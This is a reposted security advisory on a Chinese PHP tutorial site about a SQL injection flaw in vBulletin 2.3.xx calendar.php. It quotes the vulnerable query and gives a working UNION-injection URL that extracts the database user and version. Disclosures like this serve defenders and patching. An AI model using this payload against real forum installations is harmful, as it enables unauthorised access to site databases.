手机
当前位置:查字典教程网 >编程开发 >php教程 >vBulletin Forum 2.3.xx SQL Injection
vBulletin Forum 2.3.xx SQL Injection
摘要:vBulletinForum2.3.xxSQLInjectionThereexistasqlinjectionproblemincalend...

vBulletin Forum 2.3.xx SQL Injection There exist a sql injection problem in calendar.php.

-------- Cut from line 585 in calendar.php ----------

else if ($action == "edit")

{

$eventinfo = $DB_site->query_first("SELECT allowsmilies,public,userid,

eventdate,event,subject FROM calendar_events WHERE eventid = $eventid");

-----------------------------------------------------

If the MySQL version is greater than 4.00, a UNION attack could be used.

-----------------------------------------

http://ww.xxx.com/bbs/calendar.php?action=edit&eventid=12%20union%20(SELECT%20allowsmilies,public,userid,'0000-0-0',user(),version()%20FROM%20calendar_ev

ents%20WHERE%20eventid%20=%2013)%20order%20by%20eventdate

-----------------------------------------

The query_first function will only return the first row of the query result, so make sure it returns !

the one you want.

【vBulletin Forum 2.3.xx SQL Injection】相关文章:

用PHP函数解决SQL injection

杏林同学录(三)

PHP制作图型计数器的例子

PHP5试用(二)

php代码优化及php相关问题总结

PHP输出缓冲控制Output Control系列函数详解

一个php作的文本留言本的例子(四)

php使用cookie实现记住登录状态

thinkphp3.2中Lite文件替换框架入口文件或应用入口文件的方法

php获取网页里所有图片并存入数组的方法

精品推荐
分类导航